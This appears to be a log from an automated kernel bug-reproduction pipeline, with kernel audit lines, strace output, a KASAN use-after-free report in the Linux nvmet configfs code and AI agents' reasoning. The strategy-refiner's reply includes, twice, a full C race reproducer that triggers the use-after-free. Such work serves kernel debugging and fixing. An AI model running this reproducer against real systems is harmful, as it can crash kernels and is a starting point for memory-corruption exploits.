[   72.999345][   T32] audit: type=1400 audit(1787768712.725:206): avc:  denied  { write } for  pid=5835 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:54596' (ED25519) to the list of known hosts.
[   73.491271][   T32] audit: type=1400 audit(1787768713.225:207): avc:  denied  { mounton } for  pid=5845 comm="syz-executor329" path="/sys/kernel/config" dev="configfs" ino=1098 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[+] Created port 1 successfully.
[+] Removed port 1 successfully.
[   73.499308][   T32] audit: type=1400 audit(1787768713.225:208): avc:  denied  { mount } for  pid=5845 comm="syz-executor329" name="/" dev="configfs" ino=1098 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   73.507567][   T32] audit: type=1400 audit(1787768713.225:209): avc:  denied  { search } for  pid=5845 comm="syz-executor329" name="/" dev="configfs" ino=1098 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   73.514857][   T32] audit: type=1400 audit(1787768713.225:210): avc:  denied  { search } for  pid=5845 comm="syz-executor329" name="/" dev="configfs" ino=1098 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.459277][   T32] kauditd_printk_skb: 21 callbacks suppressed
[   75.459288][   T32] audit: type=1400 audit(1787768715.185:232): avc:  denied  { write } for  pid=5876 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.499167][   T32] audit: type=1400 audit(1787768715.225:233): avc:  denied  { write } for  pid=5879 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.954006][   T32] audit: type=1400 audit(1787768715.685:234): avc:  denied  { write } for  pid=5882 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.992541][   T32] audit: type=1400 audit(1787768715.725:235): avc:  denied  { write } for  pid=5885 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   81.915103][   T24] cfg80211: failed to load regulatory.db

Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1349200980

<...>
[   70.504494][   T32] kauditd_printk_skb: 10 callbacks suppressed
[   70.504503][   T32] audit: type=1400 audit(1787768800.295:201): avc:  denied  { transition } for  pid=5825 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.513724][   T32] audit: type=1400 audit(1787768800.295:202): avc:  denied  { noatsecure } for  pid=5825 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.520233][   T32] audit: type=1400 audit(1787768800.295:203): avc:  denied  { rlimitinh } for  pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.526048][   T32] audit: type=1400 audit(1787768800.295:204): avc:  denied  { siginh } for  pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.670676][ T1378] ieee802154 phy0 wpan0: encryption failed: -22
[   71.674395][ T1378] ieee802154 phy1 wpan1: encryption failed: -22
[   73.454614][   T32] audit: type=1400 audit(1787768803.245:205): avc:  denied  { write } for  pid=5832 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   73.500933][   T32] audit: type=1400 audit(1787768803.285:206): avc:  denied  { write } for  pid=5835 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   73.847370][   T32] audit: type=1400 audit(1787768803.635:207): avc:  denied  { write } for  pid=5838 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   73.898990][   T32] audit: type=1400 audit(1787768803.695:208): avc:  denied  { write } for  pid=5841 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   74.357776][   T32] audit: type=1400 audit(1787768804.155:209): avc:  denied  { write } for  pid=5844 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   74.408863][   T32] audit: type=1400 audit(1787768804.205:210): avc:  denied  { write } for  pid=5847 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.658083][   T32] kauditd_printk_skb: 4 callbacks suppressed
[   75.658095][   T32] audit: type=1400 audit(1787768805.455:215): avc:  denied  { write } for  pid=5866 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.697095][   T32] audit: type=1400 audit(1787768805.485:216): avc:  denied  { write } for  pid=5870 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:49555' (ED25519) to the list of known hosts.
execve("/syz-executor1349200980", ["/syz-executor1349200980"], 0x7ffe8b28aac0 /* 11 vars */) = 0
brk(NULL)                               = 0x555593924000
brk(0x555593924d80)                     = 0x555593924d80
arch_prctl(ARCH_SET_FS, 0x555593924400) = 0
set_tid_address(0x5555939246d0)         = 5881
set_robust_list(0x5555939246e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1349200980", 4096) = 23
getrandom("\x6c\xba\x5f\x88\xbe\x0e\x00\xa8", 8, GRND_NONBLOCK) = 8
[   76.331861][   T32] audit: type=1400 audit(1787768806.125:217): avc:  denied  { write } for  pid=5882 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
brk(NULL)                               = 0x555593924d80
brk(0x555593945d80)                     = 0x555593945d80
brk(0x555593946000)                     = 0x555593946000
mprotect(0x7fc3d1ed9000, 20480, PROT_READ) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
[   76.346412][   T32] audit: type=1400 audit(1787768806.135:218): avc:  denied  { mounton } for  pid=5881 comm="syz-executor134" path="/sys/kernel/config" dev="configfs" ino=86 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
mount("none", "/sys/kernel/config", "configfs", 0, NULL) = -1 EBUSY (Device or resource busy)
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config/nvmet", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
[   76.367256][   T32] audit: type=1400 audit(1787768806.135:219): avc:  denied  { mount } for  pid=5881 comm="syz-executor134" name="/" dev="configfs" ino=86 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   76.375714][   T32] audit: type=1400 audit(1787768806.155:220): avc:  denied  { search } for  pid=5881 comm="syz-executor134" name="/" dev="configfs" ino=86 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
mkdir("/sys/kernel/config/nvmet/ports/1", 0777) = 0
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[+] Created port 1 successfully.
[+] Removed port 1 successfully.
rmdir("/sys/kernel/config/nvmet/ports/1") = 0
write(1, "[+] configfs mounted or already busy.\n[+] nvmet subsystem found.\n[+] Created port 1 successfully.\n[+"..., 131) = 131
exit_group(0)                           = ?
+++ exited with 0 +++
[   76.407201][   T32] audit: type=1400 audit(1787768806.155:221): avc:  denied  { search } for  pid=5881 comm="syz-executor134" name="/" dev="configfs" ino=86 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   76.422402][   T32] audit: type=1400 audit(1787768806.155:222): avc:  denied  { search } for  pid=5881 comm="syz-executor134" name="nvmet" dev="configfs" ino=2602 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   76.431783][   T32] audit: type=1400 audit(1787768806.155:223): avc:  denied  { search } for  pid=5881 comm="syz-executor134" name="ports" dev="configfs" ino=2604 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   76.440338][   T32] audit: type=1400 audit(1787768806.155:224): avc:  denied  { write search } for  pid=5881 comm="syz-executor134" name="ports" dev="configfs" ino=2604 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   81.911656][  T805] cfg80211: failed to load regulatory.db

Crash Report: 


182/4 2026/08/26 18:26 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12808
							output: 75
							thoughts: 226
						

Thoughts:
**Analyzing the Capability Probe Results**

My immediate thought upon seeing the prompt is that I need to thoroughly analyze the output from the executed program. This program, as stated, was a capability probe designed to test specific functionalities within the environment.

Looking at the console output, I see a series of success messages: "[+] configfs mounted or already busy.", "[+] nvmet subsystem found.", "[+] Created port 1 successfully.", and "[+] Removed port 1 successfully.". These are all positive indicators. The "configfs mounted or already busy" message, while seemingly a bit verbose, is expected and doesn't signify an error in this context; it just means configfs is accessible. The discovery of the "nvmet subsystem" is crucial, as it indicates the underlying hardware or virtualized storage infrastructure is present and detectable. The successful creation and subsequent removal of "port 1" suggests that the operations for managing NVM Express ports are functioning as intended.

Next, I turn my attention to the `strace` output for a more granular, system-level view of what transpired. This is where I can confirm the actions taken by the program. I see `mkdir("/sys/kernel/config/nvmet/ports/1", 0777) = 0`. This directly correlates with the console output "Created port 1 successfully." The `0777` permissions are permissive, which is typical for this kind of probing where we just need to confirm the *ability* to create. Following that, `rmdir("/sys/kernel/config/nvmet/ports/1") = 0` perfectly matches "Removed port 1 successfully.", confirming that the cleanup operation was also successful. The `write(1, "[+] configfs mounted or already busy.\n[+] nvmet subsystem found.\n[+] Created port 1 successfully.\n[+"..., 131) = 131` call simply shows the program writing its status messages to standard output, which we've already seen. Finally, `exit_group(0) = ?` and `+++ exited with 0 +++` are the definitive indicators that the program terminated without any errors.

Therefore, my conclusion is clear: the probe passed successfully. This means the environment is configured and ready for the next steps. I need to reflect this success in our internal state. I'll set a flag, let's call it `ProbePassed`, to `true`. Furthermore, I should communicate this positive outcome. The feedback needs to inform the next stage of our process, specifically that the environment is deemed ready and the agent can now proceed to generate the full reproducer.

To formalize this outcome and update our system, I will now invoke the `set-results` tool. This is the standard mechanism for recording the findings of such probes.


183/4 2026/08/26 18:27 tool set-results
0m Args:
map[Feedback:The capability probe passed successfully. The environment is ready, configfs is mounted, the nvmet subsystem is available, and we can create and remove ports. Please proceed to generate the full reproducer in the next iteration. ProbePassed:true TerminalError: TitleMatches:false]

Results:
map[Feedback:The capability probe passed successfully. The environment is ready, configfs is mounted, the nvmet subsystem is available, and we can create and remove ports. Please proceed to generate the full reproducer in the next iteration. ProbePassed:true TerminalError: TitleMatches:false]

184/3 2026/08/26 18:27 action loop-controller
0m Results:
map[CapabilitiesVerified:true ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The capability probe passed successfully. The environment is ready, configfs is mounted, the nvmet subsystem is available, and we can create and remove ports. Please proceed to generate the full reproducer in the next iteration. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]

185/2 2026/08/26 18:27 iteration 2
7m
186/3 2026/08/26 18:27 action If
0m Args:
map[OracleFeedback:The capability probe passed successfully. The environment is ready, configfs is mounted, the nvmet subsystem is available, and we can create and remove ports. Please proceed to generate the full reproducer in the next iteration.]

187/4 2026/08/26 18:27 agent strategy-refiner
0m Model:
deep-reasoning

Instruction:
You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.

=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.

=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.

Prompt:
Bug Description: KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link

==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff88801af304c8 by task syz.2.79/6124

CPU: 1 UID: 0 PID: 6124 Comm: syz.2.79 Not tainted syzkaller #0 PREEMPT_{RT,(full)} 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x420 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcbe476e0d9
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fcbe29c6028 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007fcbe49f5fa0 RCX: 00007fcbe476e0d9
RDX: 0000200000000600 RSI: ffffffffffffff9c RDI: 00002000000005c0
RBP: 00007fcbe4805024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007fcbe49f6038 R14: 00007fcbe49f5fa0 R15: 00007fffa285bf38
 </TASK>

Allocated by task 6060:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x3da/0x6b0 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x408/0x620 fs/namei.c:5410
 filename_mkdirat+0x289/0x520 fs/namei.c:5443
 __do_sys_mkdirat fs/namei.c:5464 [inline]
 __se_sys_mkdirat+0x35/0x150 fs/namei.c:5461
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6127:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x6d0 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e9/0x6b0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_unlinkat fs/namei.c:5747 [inline]
 __se_sys_unlinkat+0x71/0x1a0 fs/namei.c:5740
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88801af30000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff88801af30000, ffff88801af31000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1af30
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x80000000000040(head|node=0|zone=1)
page_type: f5(slab)
raw: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2040(__GFP_IO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 5585, tgid 5585 (syz-executor), ts 106684716313
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2591/0x2600 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x230/0x5c0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d8/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x334/0x690 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __do_kmalloc_node mm/slub.c:5336 [inline]
 __kmalloc_noprof+0x54c/0x780 mm/slub.c:5362
 _kmalloc_noprof include/linux/slab.h:992 [inline]
 tomoyo_realpath_from_path+0xef/0x640 security/tomoyo/realpath.c:251
 tomoyo_get_realpath security/tomoyo/file.c:151 [inline]
 tomoyo_path_perm+0x283/0x560 security/tomoyo/file.c:827
 security_inode_getattr+0x12b/0x310 security/security.c:1895
 vfs_getattr+0x23/0x70 fs/stat.c:259
 vfs_statx_path+0x2b/0x230 fs/stat.c:299
 vfs_statx+0x12e/0x200 fs/stat.c:356
 vfs_fstatat+0x11b/0x170 fs/stat.c:373
 __do_sys_newfstatat fs/stat.c:538 [inline]
 __se_sys_newfstatat fs/stat.c:532 [inline]
 __x64_sys_newfstatat+0x151/0x200 fs/stat.c:532
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
page last free pid 5783 tgid 5783 ts 106512362313 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_frozen_pages+0xf8e/0x1070 mm/page_alloc.c:2962
 __slab_free+0x252/0x2a0 mm/slub.c:5736
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x99/0x100 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x148/0x160 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x22/0x80 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4586 [inline]
 slab_alloc_node mm/slub.c:4919 [inline]
 kmem_cache_alloc_noprof+0x35d/0x660 mm/slub.c:4933
 alloc_filename fs/namei.c:147 [inline]
 do_getname+0x2e/0x250 fs/namei.c:187
 class_filename_flags_constructor include/linux/fs.h:2587 [inline]
 do_sys_openat2+0xcc/0x200 fs/open.c:1416
 do_sys_open fs/open.c:1423 [inline]
 __do_sys_openat fs/open.c:1439 [inline]
 __se_sys_openat fs/open.c:1434 [inline]
 __x64_sys_openat+0x138/0x170 fs/open.c:1434
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff88801af30380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801af30480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff88801af30500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

Current Strategy: ### Bug Analysis

The bug is a classic lifetime mismatch involving `configfs` default groups and their parent object.

1. **The Race Window**: `configfs_symlink` is called to create a symlink in a default group directory, specifically `/sys/kernel/config/nvmet/ports/1/subsystems/`. It looks up the parent directory (`subsystems`) and takes a reference to its `config_item` (`port->subsys_group.cg_item`). It then drops the directory inode lock and calls `get_target()` to resolve the symlink target path.
2. **Concurrent Removal**: While `configfs_symlink` is resolving the path, a concurrent `rmdir` is executed on the parent port directory (`ports/1`). `configfs_rmdir` detaches the port directory and its default groups.
3. **Premature Free**: `configfs_rmdir` calls `unlink_obj` on the default groups. `unlink_obj` drops the reference to the parent group (`port->group`), causing the port's refcount to reach 0. This triggers `nvmet_port_release`, which frees the `struct nvmet_port` memory.
4. **Use-After-Free**: `configfs_symlink` resumes, reacquires the lock, and calls `nvmet_port_subsys_allow_link`. This function accesses `parent->ci_parent`. Since `parent` is embedded in the freed `struct nvmet_port` (at offset 1176), reading `ci_parent` (at offset 48 within `cg_item`) results in a use-after-free read at offset 1224 (0x4c8), perfectly matching the KASAN report.

### Reproduction Strategy

To reproduce this bug, we can set up a tight race loop between two operations:
1. Thread A continuously attempts to create a symlink in the `subsystems` directory of a port.
2. Thread B continuously creates and removes the parent `ports/1` directory.

The race window inside `configfs_symlink` (during `get_target()`) is wide enough that a simple tight loop across multiple threads will reliably trigger the use-after-free within a few seconds.

As noted in the feedback, `nvmet_ports_make` requires the port name to be a valid 16-bit unsigned integer. We will use `1` as the port directory name to ensure `mkdir` succeeds.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Attempt to create the symlink. If successful, unlink it immediately 
        // so that subsequent rmdir calls don't fail with -ENOTEMPTY.
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Continuously create and remove the port directory to race with symlink creation.
        // The port name must be a valid 16-bit unsigned integer (e.g., "1").
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    // Ensure configfs is mounted and nvmet is loaded
    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe nvmet 2>/dev/null");
    
    // Setup the base nvmet configfs structure
    mkdir("/sys/kernel/config/nvmet", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777);
    mkdir("/sys/kernel/config/nvmet/ports", 0777);

    pthread_t t1[4], t2[4];
    
    // Launch multiple threads to maximize race probability
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    // Run the race for 5 seconds
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    return 0;
}
```
Feedback: The capability probe passed successfully. The environment is ready, configfs is mounted, the nvmet subsystem is available, and we can create and remove ports. Please proceed to generate the full reproducer in the next iteration.

Reply:
An analysis of the feedback confirms that the environment is correctly set up and the capability probe passed successfully. The `nvmet` subsystem is available, `configfs` is mounted, and we can create and remove ports. 

The strategy remains the same: we will set up a tight race loop between two operations:
1. Thread A continuously attempts to create a symlink in the `subsystems` directory of a port (`/sys/kernel/config/nvmet/ports/1/subsystems/subsys1`).
2. Thread B continuously creates and removes the parent `ports/1` directory.

This will trigger the use-after-free within `nvmet_port_subsys_allow_link` when `configfs_symlink` accesses the parent `config_item` after it has been freed by the concurrent `rmdir`.

Here is the complete C reproducer.

```c
// rep.c
#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <time.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Attempt to create the symlink. If successful, unlink it immediately 
        // so that subsequent rmdir calls don't fail with -ENOTEMPTY.
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Continuously create and remove the port directory to race with symlink creation.
        // The port name must be a valid 16-bit unsigned integer (e.g., "1").
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    // Ensure configfs is mounted and nvmet is loaded
    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe nvmet 2>/dev/null");
    
    // Setup the base nvmet configfs structure
    mkdir("/sys/kernel/config/nvmet", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777);
    mkdir("/sys/kernel/config/nvmet/ports", 0777);

    pthread_t t1[4], t2[4];
    
    // Launch multiple threads to maximize race probability
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    // Run the race for 5 seconds
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    return 0;
}
```

188/5 2026/08/26 18:27 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 8129
							output: 973
							thoughts: 1050
						

Thoughts:
**My Thoughts on Generating the Final Reproducer**

